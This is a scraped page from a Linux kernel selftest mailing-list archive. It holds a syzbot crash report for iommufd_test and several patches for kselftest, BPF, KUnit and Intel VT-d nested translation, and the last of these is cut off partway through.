perf-profile.self.cycles-pp.memcg_slab_post_alloc_hook 0.11 ± 29% +0.3 0.39 ± 18% perf-profile.self.cycles-pp._find_next_bit 0.58 ± 7% +0.8 1.42 ± 5% perf-profile.self.cycles-pp._raw_spin_lock 0.00 +1.1 1.14 ± 14% perf-profile.self.cycles-pp.mnt_get_count Disclaimer: Results have been estimated based on internal Intel analysis and are provided for informational purposes only. Any difference in system hardware or software design or configuration may affect actual performance. -- 0-DAY CI Kernel Test Service https://github.com/intel/lkp-tests/wiki

1 year, 11 months

2
1
0 0

[syzbot] [iommu?] divide error in iommufd_test

by syzbot

Hello, syzbot found the following issue on: HEAD commit: e8361b005d7c Add linux-next specific files for 20231023 git tree: linux-next console+strace: https://syzkaller.appspot.com/x/log.txt?x=13e4cb83680000 kernel config: https://syzkaller.appspot.com/x/.config?x=75e8fc3570ec9a74 dashboard link: https://syzkaller.appspot.com/bug?extid=25dc7383c30ecdc83c38 compiler: gcc (Debian 12.2.0-14) 12.2.0, GNU ld (GNU Binutils for Debian) 2.40 syz repro: https://syzkaller.appspot.com/x/repro.syz?x=119bad5d680000 C reproducer: https://syzkaller.appspot.com/x/repro.c?x=1062e393680000 Downloadable assets: disk image: https://storage.googleapis.com/syzbot-assets/e28a7944599e/disk-e8361b00.raw… vmlinux: https://storage.googleapis.com/syzbot-assets/7dd355dbe055/vmlinux-e8361b00.… kernel image: https://storage.googleapis.com/syzbot-assets/7b2a9050635d/bzImage-e8361b00.… The issue was bisected to: commit 5e054083ce6929b567c6aadbf8bf627b0f028353 Author: Joao Martins <joao.m.martins(a)oracle.com> Date: Fri Oct 20 22:28:02 2023 +0000 iommufd/selftest: Test IOMMU_HWPT_GET_DIRTY_BITMAP bisection log: https://syzkaller.appspot.com/x/bisect.txt?x=14a49a35680000 final oops: https://syzkaller.appspot.com/x/report.txt?x=16a49a35680000 console output: https://syzkaller.appspot.com/x/log.txt?x=12a49a35680000 IMPORTANT: if you fix the issue, please add the following tag to the commit: Reported-by: syzbot+25dc7383c30ecdc83c38(a)syzkaller.appspotmail.com Fixes: 5e054083ce69 ("iommufd/selftest: Test IOMMU_HWPT_GET_DIRTY_BITMAP") divide error: 0000 [#1] PREEMPT SMP KASAN CPU: 1 PID: 5053 Comm: syz-executor178 Not tainted 6.6.0-rc6-next-20231023-syzkaller #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/06/2023 RIP: 0010:iommufd_test_dirty drivers/iommu/iommufd/selftest.c:1098 [inline] RIP: 0010:iommufd_test+0x1fd/0x35c0 drivers/iommu/iommufd/selftest.c:1203 Code: 04 02 48 89 4c 24 28 84 c0 74 09 3c 03 7f 05 e8 69 ac 2f fd 48 8b 04 24 31 d2 31 ff 48 8b 5c 24 20 44 8b 68 08 48 8b 44 24 28 <48> f7 f3 48 89 d5 48 89 d6 e8 85 cf d8 fc 48 85 ed 0f 85 ce 22 00 RSP: 0018:ffffc90003937cb0 EFLAGS: 00010246 RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000000 RDX: 0000000000000000 RSI: ffffffff84affaf2 RDI: 0000000000000000 RBP: 000000000000000d R08: 0000000000000005 R09: 000000000000000d R10: 000000000000000d R11: 0000000000000000 R12: 0000000000000000 R13: 0000000000000000 R14: ffffc90003937e40 R15: ffffc90003937e00 FS: 00005555560d7380(0000) GS:ffff8880b9900000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000020006000 CR3: 0000000075a85000 CR4: 00000000003506f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: <TASK> iommufd_fops_ioctl+0x35a/0x4e0 drivers/iommu/iommufd/main.c:404 vfs_ioctl fs/ioctl.c:51 [inline] __do_sys_ioctl fs/ioctl.c:871 [inline] __se_sys_ioctl fs/ioctl.c:857 [inline] __x64_sys_ioctl+0x18f/0x210 fs/ioctl.c:857 do_syscall_x64 arch/x86/entry/common.c:51 [inline] do_syscall_64+0x3f/0x110 arch/x86/entry/common.c:82 entry_SYSCALL_64_after_hwframe+0x62/0x6a RIP: 0033:0x7f5fb02172e9 Code: 48 83 c4 28 c3 e8 37 17 00 00 0f 1f 80 00 00 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007ffd74d26068 EFLAGS: 00000246 ORIG_RAX: 0000000000000010 RAX: ffffffffffffffda RBX: 00007ffd74d26238 RCX: 00007f5fb02172e9 RDX: 0000000020000140 RSI: 0000000000003ba0 RDI: 0000000000000003 RBP: 00007f5fb028a610 R08: 0000000000000000 R09: 00007ffd74d26238 R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000001 R13: 00007ffd74d26228 R14: 0000000000000001 R15: 0000000000000001 </TASK> Modules linked in: ---[ end trace 0000000000000000 ]--- RIP: 0010:iommufd_test_dirty drivers/iommu/iommufd/selftest.c:1098 [inline] RIP: 0010:iommufd_test+0x1fd/0x35c0 drivers/iommu/iommufd/selftest.c:1203 Code: 04 02 48 89 4c 24 28 84 c0 74 09 3c 03 7f 05 e8 69 ac 2f fd 48 8b 04 24 31 d2 31 ff 48 8b 5c 24 20 44 8b 68 08 48 8b 44 24 28 <48> f7 f3 48 89 d5 48 89 d6 e8 85 cf d8 fc 48 85 ed 0f 85 ce 22 00 RSP: 0018:ffffc90003937cb0 EFLAGS: 00010246 RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000000 RDX: 0000000000000000 RSI: ffffffff84affaf2 RDI: 0000000000000000 RBP: 000000000000000d R08: 0000000000000005 R09: 000000000000000d R10: 000000000000000d R11: 0000000000000000 R12: 0000000000000000 R13: 0000000000000000 R14: ffffc90003937e40 R15: ffffc90003937e00 FS: 00005555560d7380(0000) GS:ffff8880b9900000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000020006000 CR3: 0000000075a85000 CR4: 00000000003506f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 ---------------- Code disassembly (best guess): 0: 04 02 add $0x2,%al 2: 48 89 4c 24 28 mov %rcx,0x28(%rsp) 7: 84 c0 test %al,%al 9: 74 09 je 0x14 b: 3c 03 cmp $0x3,%al d: 7f 05 jg 0x14 f: e8 69 ac 2f fd call 0xfd2fac7d 14: 48 8b 04 24 mov (%rsp),%rax 18: 31 d2 xor %edx,%edx 1a: 31 ff xor %edi,%edi 1c: 48 8b 5c 24 20 mov 0x20(%rsp),%rbx 21: 44 8b 68 08 mov 0x8(%rax),%r13d 25: 48 8b 44 24 28 mov 0x28(%rsp),%rax * 2a: 48 f7 f3 div %rbx <-- trapping instruction 2d: 48 89 d5 mov %rdx,%rbp 30: 48 89 d6 mov %rdx,%rsi 33: e8 85 cf d8 fc call 0xfcd8cfbd 38: 48 85 ed test %rbp,%rbp 3b: 0f .byte 0xf 3c: 85 ce test %ecx,%esi 3e: 22 00 and (%rax),%al --- This report is generated by a bot. It may contain errors. See https://goo.gl/tpsmEJ for more information about syzbot. syzbot engineers can be reached at syzkaller(a)googlegroups.com. syzbot will keep track of this issue. See: https://goo.gl/tpsmEJ#status for how to communicate with syzbot. For information about bisection process see: https://goo.gl/tpsmEJ#bisection If the bug is already fixed, let syzbot know by replying with: #syz fix: exact-commit-title If you want syzbot to run the reproducer, reply with: #syz test: git://repo/address.git branch-or-commit-hash If you attach or paste a git patch, syzbot will apply it before testing. If you want to overwrite bug's subsystems, reply with: #syz set subsystems: new-subsystem (See the list of subsystem names on the web dashboard) If the bug is a duplicate of another bug, reply with: #syz dup: exact-subject-of-another-report If you want to undo deduplication, reply with: #syz undup

1 year, 11 months

2
1
0 0

[RFC PATCH 0/2] Add test to verify probe of devices from discoverable busses on DT platforms

by Nícolas F. R. A. Prado

This is part of an effort to improve detection of regressions impacting device probe on all platforms. The recently merged DT kselftest [1] detects probe issues for all devices described statically in the DT. That leaves out devices discovered at run-time from discoverable busses. This is where this test comes in. All of the devices that are connected through discoverable busses (ie USB and PCI), and which are internal and therefore always present, can be described in a per-platform file so they can be checked for. The test will check that the device has been instantiated and bound to a driver. Patch 1 introduces the test. Patch 2 adds the test definitions for the google,spherion machine (Acer Chromebook 514) as an example. This is the sample output from the test running on Spherion: TAP version 13 Using board file: boards/google,spherion 1..10 ok 1 usb.camera.0.device ok 2 usb.camera.0.driver ok 3 usb.camera.1.device ok 4 usb.camera.1.driver ok 5 usb.bluetooth.0.device ok 6 usb.bluetooth.0.driver ok 7 usb.bluetooth.1.device ok 8 usb.bluetooth.1.driver ok 9 pci.wifi.device ok 10 pci.wifi.driver Totals: pass:10 fail:0 xfail:0 xpass:0 skip:0 error:0 [1] https://lore.kernel.org/all/20230828211424.2964562-1-nfraprado@collabora.co… Nícolas F. R. A. Prado (2): kselftest: Add test to verify probe of devices from discoverable busses kselftest: devices: Add board file for google,spherion tools/testing/selftests/Makefile | 1 + tools/testing/selftests/devices/.gitignore | 1 + tools/testing/selftests/devices/Makefile | 8 + .../selftests/devices/boards/google,spherion | 3 + .../devices/test_discoverable_devices.sh | 165 ++++++++++++++++++ 5 files changed, 178 insertions(+) create mode 100644 tools/testing/selftests/devices/.gitignore create mode 100644 tools/testing/selftests/devices/Makefile create mode 100644 tools/testing/selftests/devices/boards/google,spherion create mode 100755 tools/testing/selftests/devices/test_discoverable_devices.sh -- 2.42.0

1 year, 11 months

2
6
0 0

[PATCH] selftests:proc ProtectionKey check in smpas test

by Swarup Laxman Kotiaklapudi

Check ProtectionKey field in /proc/*/smaps output, if system supports page-based memory permissions. Signed-off-by: Swarup Laxman Kotiaklapudi <swarupkotikalapudi(a)gmail.com> --- tools/testing/selftests/proc/proc-empty-vm.c | 38 ++++++++++++-------- 1 file changed, 23 insertions(+), 15 deletions(-) diff --git a/tools/testing/selftests/proc/proc-empty-vm.c b/tools/testing/selftests/proc/proc-empty-vm.c index b16c13688b88..4842f923235c 100644 --- a/tools/testing/selftests/proc/proc-empty-vm.c +++ b/tools/testing/selftests/proc/proc-empty-vm.c @@ -37,6 +37,7 @@ #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> +#include "../kselftest.h" #ifdef __amd64__ #define TEST_VSYSCALL @@ -83,10 +84,7 @@ static const char proc_pid_smaps_vsyscall_1[] = "SwapPss: 0 kB\n" "Locked: 0 kB\n" "THPeligible: 0\n" -/* - * "ProtectionKey:" field is conditional. It is possible to check it as well, - * but I don't have such machine. - */ +"ProtectionKey: 0\n" ; static const char proc_pid_smaps_vsyscall_2[] = @@ -113,10 +111,7 @@ static const char proc_pid_smaps_vsyscall_2[] = "SwapPss: 0 kB\n" "Locked: 0 kB\n" "THPeligible: 0\n" -/* - * "ProtectionKey:" field is conditional. It is possible to check it as well, - * but I'm too tired. - */ +"ProtectionKey: 0\n" ; static void sigaction_SIGSEGV(int _, siginfo_t *__, void *___) @@ -241,13 +236,26 @@ static int test_proc_pid_smaps(pid_t pid) } else { ssize_t rv = read(fd, buf, sizeof(buf)); close(fd); - if (g_vsyscall == 0) { - assert(rv == 0); - } else { - size_t len = strlen(g_proc_pid_maps_vsyscall); - /* TODO "ProtectionKey:" */ - assert(rv > len); - assert(memcmp(buf, g_proc_pid_maps_vsyscall, len) == 0); + assert(rv >= 0); + assert(rv <= sizeof(buf)); + if (g_vsyscall != 0) { + int pkey = pkey_alloc(0, 0); + + if (pkey < 0) { + size_t len = strlen(g_proc_pid_maps_vsyscall); + + assert(rv > len); + assert(memcmp(buf, g_proc_pid_maps_vsyscall, len) == 0); + } else { + pkey_free(pkey); + static const char * const S[] = { + "ProtectionKey: 0\n" + }; + int i; + + for (i = 0; i < ARRAY_SIZE(S); i++) + assert(memmem(buf, rv, S[i], strlen(S[i]))); + } } return EXIT_SUCCESS; } -- 2.34.1

1 year, 11 months

2
1
0 0

[PATCH][next] selftests: sched: Fix spelling mistake "hiearchy" -> "hierarchy"

by Colin Ian King

There is a spelling mistake in a printf message. Fix it. Signed-off-by: Colin Ian King <colin.i.king(a)gmail.com> --- tools/testing/selftests/sched/cs_prctl_test.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/testing/selftests/sched/cs_prctl_test.c b/tools/testing/selftests/sched/cs_prctl_test.c index 3e1619b6bf2d..7b4fc02a0d05 100644 --- a/tools/testing/selftests/sched/cs_prctl_test.c +++ b/tools/testing/selftests/sched/cs_prctl_test.c @@ -276,7 +276,7 @@ int main(int argc, char *argv[]) if (setpgid(0, 0) != 0) handle_error("process group"); - printf("\n## Create a thread/process/process group hiearchy\n"); + printf("\n## Create a thread/process/process group hierarchy\n"); create_processes(num_processes, num_threads, procs); need_cleanup = 1; disp_processes(num_processes, procs); -- 2.39.2

1 year, 11 months

1
0
0 0

[PATCH bpf-next 0/2] bpf: Fix incorrect immediate spill

by Hao Sun

Immediate is incorrectly cast to u32 before being spilled, losing sign information. The range information is incorrect after load again. Fix immediate spill by remove the cast. The second patch add a test case for this. Signed-off-by: Hao Sun <sunhao.th(a)gmail.com> --- Hao Sun (2): bpf: Fix check_stack_write_fixed_off() to correctly spill imm selftests/bpf: Add test for immediate spilled to stack kernel/bpf/verifier.c | 2 +- tools/testing/selftests/bpf/verifier/bpf_st_mem.c | 32 +++++++++++++++++++++++ 2 files changed, 33 insertions(+), 1 deletion(-) --- base-commit: 399f6185a1c02f39bcadb8749bc2d9d48685816f change-id: 20231026-fix-check-stack-write-c40996694dfa Best regards, -- Hao Sun <sunhao.th(a)gmail.com>

1 year, 11 months

3
7
0 0

[PATCH bpf-next v2 1/2] selftests/bpf: Convert CHECK macros to ASSERT_* macros in bpf_iter

by Yuran Pereira

As it was pointed out by Yonghong Song [1], in the bpf selftests the use of the ASSERT_* series of macros is preferred over the CHECK macro. This patch replaces all CHECK calls in bpf_iter with the appropriate ASSERT_* macros. [1] https://lore.kernel.org/lkml/0a142924-633c-44e6-9a92-2dc019656bf2@linux.dev Suggested-by: Yonghong Song <yonghong.song(a)linux.dev> Signed-off-by: Yuran Pereira <yuran.pereira(a)hotmail.com> --- .../selftests/bpf/prog_tests/bpf_iter.c | 82 +++++++++---------- 1 file changed, 39 insertions(+), 43 deletions(-) diff --git a/tools/testing/selftests/bpf/prog_tests/bpf_iter.c b/tools/testing/selftests/bpf/prog_tests/bpf_iter.c index 1f02168103dd..7db6972ed952 100644 --- a/tools/testing/selftests/bpf/prog_tests/bpf_iter.c +++ b/tools/testing/selftests/bpf/prog_tests/bpf_iter.c @@ -34,8 +34,6 @@ #include "bpf_iter_ksym.skel.h" #include "bpf_iter_sockmap.skel.h" -static int duration; - static void test_btf_id_or_null(void) { struct bpf_iter_test_kern3 *skel; @@ -64,7 +62,7 @@ static void do_dummy_read_opts(struct bpf_program *prog, struct bpf_iter_attach_ /* not check contents, but ensure read() ends without error */ while ((len = read(iter_fd, buf, sizeof(buf))) > 0) ; - CHECK(len < 0, "read", "read failed: %s\n", strerror(errno)); + ASSERT_GE(len, 0, "read"); close(iter_fd); @@ -413,7 +411,7 @@ static int do_btf_read(struct bpf_iter_task_btf *skel) goto free_link; } - if (CHECK(err < 0, "read", "read failed: %s\n", strerror(errno))) + if (!ASSERT_GE(err, 0, "read")) goto free_link; ASSERT_HAS_SUBSTR(taskbuf, "(struct task_struct)", @@ -526,11 +524,11 @@ static int do_read_with_fd(int iter_fd, const char *expected, start = 0; while ((len = read(iter_fd, buf + start, read_buf_len)) > 0) { start += len; - if (CHECK(start >= 16, "read", "read len %d\n", len)) + if (!ASSERT_LT(start, 16, "read")) return -1; read_buf_len = read_one_char ? 1 : 16 - start; } - if (CHECK(len < 0, "read", "read failed: %s\n", strerror(errno))) + if (!ASSERT_GE(len, 0, "read")) return -1; if (!ASSERT_STREQ(buf, expected, "read")) @@ -571,8 +569,7 @@ static int do_read(const char *path, const char *expected) int err, iter_fd; iter_fd = open(path, O_RDONLY); - if (CHECK(iter_fd < 0, "open", "open %s failed: %s\n", - path, strerror(errno))) + if (!ASSERT_GE(iter_fd, 0, "open")) return -1; err = do_read_with_fd(iter_fd, expected, false); @@ -600,7 +597,7 @@ static void test_file_iter(void) unlink(path); err = bpf_link__pin(link, path); - if (CHECK(err, "pin_iter", "pin_iter to %s failed: %d\n", path, err)) + if (!ASSERT_OK(err, "pin_iter")) goto free_link; err = do_read(path, "abcd"); @@ -651,12 +648,10 @@ static void test_overflow(bool test_e2big_overflow, bool ret1) * overflow and needs restart. */ map1_fd = bpf_map_create(BPF_MAP_TYPE_ARRAY, NULL, 4, 8, 1, NULL); - if (CHECK(map1_fd < 0, "bpf_map_create", - "map_creation failed: %s\n", strerror(errno))) + if (!ASSERT_GE(map1_fd, 0, "bpf_map_create")) goto out; map2_fd = bpf_map_create(BPF_MAP_TYPE_ARRAY, NULL, 4, 8, 1, NULL); - if (CHECK(map2_fd < 0, "bpf_map_create", - "map_creation failed: %s\n", strerror(errno))) + if (!ASSERT_GE(map2_fd, 0, "bpf_map_create")) goto free_map1; /* bpf_seq_printf kernel buffer is 8 pages, so one map @@ -685,14 +680,12 @@ static void test_overflow(bool test_e2big_overflow, bool ret1) /* setup filtering map_id in bpf program */ map_info_len = sizeof(map_info); err = bpf_map_get_info_by_fd(map1_fd, &map_info, &map_info_len); - if (CHECK(err, "get_map_info", "get map info failed: %s\n", - strerror(errno))) + if (!ASSERT_OK(err, "get_map_info")) goto free_map2; skel->bss->map1_id = map_info.id; err = bpf_map_get_info_by_fd(map2_fd, &map_info, &map_info_len); - if (CHECK(err, "get_map_info", "get map info failed: %s\n", - strerror(errno))) + if (!ASSERT_OK(err, "get_map_info")) goto free_map2; skel->bss->map2_id = map_info.id; @@ -714,16 +707,15 @@ static void test_overflow(bool test_e2big_overflow, bool ret1) while ((len = read(iter_fd, buf, expected_read_len)) > 0) total_read_len += len; - CHECK(len != -1 || errno != E2BIG, "read", - "expected ret -1, errno E2BIG, but get ret %d, error %s\n", - len, strerror(errno)); + if (!ASSERT_EQ(len, -1, "read")) + goto free_buf; + ASSERT_EQ(errno, E2BIG, "read"); goto free_buf; } else if (!ret1) { while ((len = read(iter_fd, buf, expected_read_len)) > 0) total_read_len += len; - if (CHECK(len < 0, "read", "read failed: %s\n", - strerror(errno))) + if (!ASSERT_GE(len, 0, "read")) goto free_buf; } else { do { @@ -732,8 +724,7 @@ static void test_overflow(bool test_e2big_overflow, bool ret1) total_read_len += len; } while (len > 0 || len == -EAGAIN); - if (CHECK(len < 0, "read", "read failed: %s\n", - strerror(errno))) + if (!ASSERT_GE(len, 0, "read")) goto free_buf; } @@ -836,7 +827,7 @@ static void test_bpf_hash_map(void) /* do some tests */ while ((len = read(iter_fd, buf, sizeof(buf))) > 0) ; - if (CHECK(len < 0, "read", "read failed: %s\n", strerror(errno))) + if (!ASSERT_GE(len, 0, "read")) goto close_iter; /* test results */ @@ -917,7 +908,7 @@ static void test_bpf_percpu_hash_map(void) /* do some tests */ while ((len = read(iter_fd, buf, sizeof(buf))) > 0) ; - if (CHECK(len < 0, "read", "read failed: %s\n", strerror(errno))) + if (!ASSERT_GE(len, 0, "read")) goto close_iter; /* test results */ @@ -983,17 +974,15 @@ static void test_bpf_array_map(void) start = 0; while ((len = read(iter_fd, buf + start, sizeof(buf) - start)) > 0) start += len; - if (CHECK(len < 0, "read", "read failed: %s\n", strerror(errno))) + if (!ASSERT_GE(len, 0, "read")) goto close_iter; /* test results */ res_first_key = *(__u32 *)buf; res_first_val = *(__u64 *)(buf + sizeof(__u32)); - if (CHECK(res_first_key != 0 || res_first_val != first_val, - "bpf_seq_write", - "seq_write failure: first key %u vs expected 0, " - " first value %llu vs expected %llu\n", - res_first_key, res_first_val, first_val)) + if (!ASSERT_EQ(res_first_key, 0, "bpf_seq_write")) + goto close_iter; + else if (!ASSERT_EQ(res_first_val, first_val, "bpf_seq_write")) goto close_iter; if (!ASSERT_EQ(skel->bss->key_sum, expected_key, "key_sum")) @@ -1092,7 +1081,7 @@ static void test_bpf_percpu_array_map(void) /* do some tests */ while ((len = read(iter_fd, buf, sizeof(buf))) > 0) ; - if (CHECK(len < 0, "read", "read failed: %s\n", strerror(errno))) + if (!ASSERT_GE(len, 0, "read")) goto close_iter; /* test results */ @@ -1131,6 +1120,7 @@ static void test_bpf_sk_storage_delete(void) sock_fd = socket(AF_INET6, SOCK_STREAM, 0); if (!ASSERT_GE(sock_fd, 0, "socket")) goto out; + err = bpf_map_update_elem(map_fd, &sock_fd, &val, BPF_NOEXIST); if (!ASSERT_OK(err, "map_update")) goto out; @@ -1151,14 +1141,20 @@ static void test_bpf_sk_storage_delete(void) /* do some tests */ while ((len = read(iter_fd, buf, sizeof(buf))) > 0) ; - if (CHECK(len < 0, "read", "read failed: %s\n", strerror(errno))) + if (!ASSERT_GE(len, 0, "read")) goto close_iter; /* test results */ err = bpf_map_lookup_elem(map_fd, &sock_fd, &val); - if (CHECK(!err || errno != ENOENT, "bpf_map_lookup_elem", - "map value wasn't deleted (err=%d, errno=%d)\n", err, errno)) + + /* Note: The following assertions serve to ensure + * the value was deleted. It does so by asserting + * that bpf_map_lookup_elem has failed. This might + * seem counterintuitivei at first. + */ + if (!ASSERT_ERR(err, "bpf_map_lookup_elem")) goto close_iter; + ASSERT_EQ(errno, ENOENT, "bpf_map_lookup_elem"); close_iter: close(iter_fd); @@ -1203,17 +1199,17 @@ static void test_bpf_sk_storage_get(void) do_dummy_read(skel->progs.fill_socket_owner); err = bpf_map_lookup_elem(map_fd, &sock_fd, &val); - if (CHECK(err || val != getpid(), "bpf_map_lookup_elem", - "map value wasn't set correctly (expected %d, got %d, err=%d)\n", - getpid(), val, err)) + if (!ASSERT_OK(err, "bpf_map_lookup_elem")) + goto close_socket; + else if (!ASSERT_EQ(val, getpid(), "bpf_map_lookup_elem")) goto close_socket; do_dummy_read(skel->progs.negate_socket_local_storage); err = bpf_map_lookup_elem(map_fd, &sock_fd, &val); - CHECK(err || val != -getpid(), "bpf_map_lookup_elem", - "map value wasn't set correctly (expected %d, got %d, err=%d)\n", - -getpid(), val, err); + if (!ASSERT_OK(err, "bpf_map_lookup_elem")) + goto close_socket; + ASSERT_EQ(val, -getpid(), "bpf_map_lookup_elem"); close_socket: close(sock_fd); @@ -1290,7 +1286,7 @@ static void test_bpf_sk_storage_map(void) /* do some tests */ while ((len = read(iter_fd, buf, sizeof(buf))) > 0) ; - if (CHECK(len < 0, "read", "read failed: %s\n", strerror(errno))) + if (!ASSERT_GE(len, 0, "read")) goto close_iter; /* test results */ -- 2.25.1

1 year, 11 months

3
2
0 0

[PATCH bpf-next v2 2/2] selftests/bpf: Add malloc failure checks in bpf_iter

by Yuran Pereira

Since some malloc calls in bpf_iter may at times fail, this patch adds the appropriate fail checks, and ensures that any previously allocated resource is appropriately destroyed before returning the function. Signed-off-by: Yuran Pereira <yuran.pereira(a)hotmail.com> --- tools/testing/selftests/bpf/prog_tests/bpf_iter.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/tools/testing/selftests/bpf/prog_tests/bpf_iter.c b/tools/testing/selftests/bpf/prog_tests/bpf_iter.c index 7db6972ed952..955d374ba656 100644 --- a/tools/testing/selftests/bpf/prog_tests/bpf_iter.c +++ b/tools/testing/selftests/bpf/prog_tests/bpf_iter.c @@ -698,7 +698,7 @@ static void test_overflow(bool test_e2big_overflow, bool ret1) goto free_link; buf = malloc(expected_read_len); - if (!buf) + if (!ASSERT_OK_PTR(buf, "malloc")) goto close_iter; /* do read */ @@ -869,6 +869,8 @@ static void test_bpf_percpu_hash_map(void) skel->rodata->num_cpus = bpf_num_possible_cpus(); val = malloc(8 * bpf_num_possible_cpus()); + if (!ASSERT_OK_PTR(val, "malloc")) + goto out; err = bpf_iter_bpf_percpu_hash_map__load(skel); if (!ASSERT_OK_PTR(skel, "bpf_iter_bpf_percpu_hash_map__load")) @@ -1046,6 +1048,8 @@ static void test_bpf_percpu_array_map(void) skel->rodata->num_cpus = bpf_num_possible_cpus(); val = malloc(8 * bpf_num_possible_cpus()); + if (!ASSERT_OK_PTR(val, "malloc")) + goto out; err = bpf_iter_bpf_percpu_array_map__load(skel); if (!ASSERT_OK_PTR(skel, "bpf_iter_bpf_percpu_array_map__load")) -- 2.25.1

1 year, 11 months

3
2
0 0

[PATCH v3] kunit: Warn if tests are slow

by Maxime Ripard

Kunit recently gained support to setup attributes, the first one being the speed of a given test, then allowing to filter out slow tests. A slow test is defined in the documentation as taking more than one second. There's an another speed attribute called "super slow" but whose definition is less clear. Add support to the test runner to check the test execution time, and report tests that should be marked as slow but aren't. Signed-off-by: Maxime Ripard <mripard(a)kernel.org> --- To: Brendan Higgins <brendan.higgins(a)linux.dev> To: David Gow <davidgow(a)google.com> Cc: Jani Nikula <jani.nikula(a)linux.intel.com> Cc: Rae Moar <rmoar(a)google.com> Cc: linux-kselftest(a)vger.kernel.org Cc: kunit-dev(a)googlegroups.com Cc: linux-kernel(a)vger.kernel.org Changes from v2: - Add defines and comments to make the warning reporting threshold more obvious - Switch the duration comparisons to timespec64_compare to be more accurate - Link: https://lore.kernel.org/all/20230920084903.1522728-1-mripard@kernel.org/ Changes from v1: - Split the patch out of the series - Change to trigger the warning only if the runtime is twice the threshold (Jani, Rae) - Split the speed check into a separate function (Rae) - Link: https://lore.kernel.org/all/20230911-kms-slow-tests-v1-0-d3800a69a1a1@kerne… --- lib/kunit/test.c | 38 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 38 insertions(+) diff --git a/lib/kunit/test.c b/lib/kunit/test.c index 49698a168437..4b710c92340a 100644 --- a/lib/kunit/test.c +++ b/lib/kunit/test.c @@ -372,6 +372,36 @@ void kunit_init_test(struct kunit *test, const char *name, char *log) } EXPORT_SYMBOL_GPL(kunit_init_test); +/* Only warn when a test takes more than twice the threshold */ +#define KUNIT_SPEED_WARNING_MULTIPLIER 2 + +/* Slow tests are defined as taking more than 1s */ +#define KUNIT_SPEED_SLOW_THRESHOLD_S 1 + +#define KUNIT_SPEED_SLOW_WARNING_THRESHOLD_S \ + (KUNIT_SPEED_WARNING_MULTIPLIER * KUNIT_SPEED_SLOW_THRESHOLD_S) + +#define s_to_timespec64(s) ns_to_timespec64((s) * NSEC_PER_SEC) + +static void kunit_run_case_check_speed(struct kunit *test, + struct kunit_case *test_case, + struct timespec64 duration) +{ + struct timespec64 slow_thr = + s_to_timespec64(KUNIT_SPEED_SLOW_WARNING_THRESHOLD_S); + enum kunit_speed speed = test_case->attr.speed; + + if (timespec64_compare(&duration, &slow_thr) < 0) + return; + + if (speed == KUNIT_SPEED_VERY_SLOW || speed == KUNIT_SPEED_SLOW) + return; + + kunit_warn(test, + "Test should be marked slow (runtime: %lld.%09lds)", + duration.tv_sec, duration.tv_nsec); +} + /* * Initializes and runs test case. Does not clean up or do post validations. */ @@ -379,6 +409,8 @@ static void kunit_run_case_internal(struct kunit *test, struct kunit_suite *suite, struct kunit_case *test_case) { + struct timespec64 start, end; + if (suite->init) { int ret; @@ -390,7 +422,13 @@ static void kunit_run_case_internal(struct kunit *test, } } + ktime_get_ts64(&start); + test_case->run_case(test); + + ktime_get_ts64(&end); + + kunit_run_case_check_speed(test, test_case, timespec64_sub(end, start)); } static void kunit_case_internal_cleanup(struct kunit *test) -- 2.41.0

1 year, 11 months

2
1
0 0

[PATCH v8 0/8] Add Intel VT-d nested translation (part 1/2)

by Yi Liu

This is the first part to add Intel VT-d nested translation based on IOMMUFD nesting infrastructure. As the iommufd nesting infrastructure series[1], iommu core supports new ops to allocate domains with user data. For nesting, the user data is vendor-specific, IOMMU_HWPT_DATA_VTD_S1 is defined for the Intel VT-d stage-1 page table, it will be used in the stage-1 domain allocation path. struct iommu_hwpt_vtd_s1 is defined to pass user_data for the Intel VT-d stage-1 domain allocation. This series does not have the cache invalidation path, it would be added in part 2/2. The first Intel platform supporting nested translation is Sapphire Rapids which, unfortunately, has a hardware errata [2] requiring special treatment. This errata happens when a stage-1 page table page (either level) is located in a stage-2 read-only region. In that case the IOMMU hardware may ignore the stage-2 RO permission and still set the A/D bit in stage-1 page table entries during page table walking. A flag IOMMU_HW_INFO_VTD_ERRATA_772415_SPR17 is introduced to report this errata to userspace. With that restriction the user should either disable nested translation to favor RO stage-2 mappings or ensure no RO stage-2 mapping to enable nested translation. Intel-iommu driver is armed with necessary checks to prevent such mix in patch8 of this series. Qemu currently does add RO mappings though. The vfio agent in Qemu simply maps all valid regions in the GPA address space which certainly includes RO regions e.g. vbios. In reality we don't know a usage relying on DMA reads from the BIOS region. Hence finding a way to skip RO regions (e.g. via a discard manager) in Qemu might be an acceptable tradeoff. The actual change needs more discussion in Qemu community. For now we just hacked Qemu to test. Complete code can be found in [3], corresponding QEMU could can be found in [4]. [1] https://lore.kernel.org/linux-iommu/20231026043938.63898-1-yi.l.liu@intel.c… [2] https://www.intel.com/content/www/us/en/content-details/772415/content-deta… [3] https://github.com/yiliu1765/iommufd/tree/iommufd_nesting [4] https://github.com/yiliu1765/qemu/tree/zhenzhong/wip/iommufd_nesting_rfcv1 Change log: v8: - Adopt changes suggested by Jason on domain_alloc_user() op https://lore.kernel.org/linux-iommu/20231024230319.GW3952@nvidia.com/ - Add Kevin's r-b on patch 06 - Fix description for IOMMU_HW_INFO_VTD_ERRATA_772415_SPR17 (Kevin) v7: https://lore.kernel.org/linux-iommu/20231024151412.50046-1-yi.l.liu@intel.c… - Rebase on top of latest iommufd nesting part 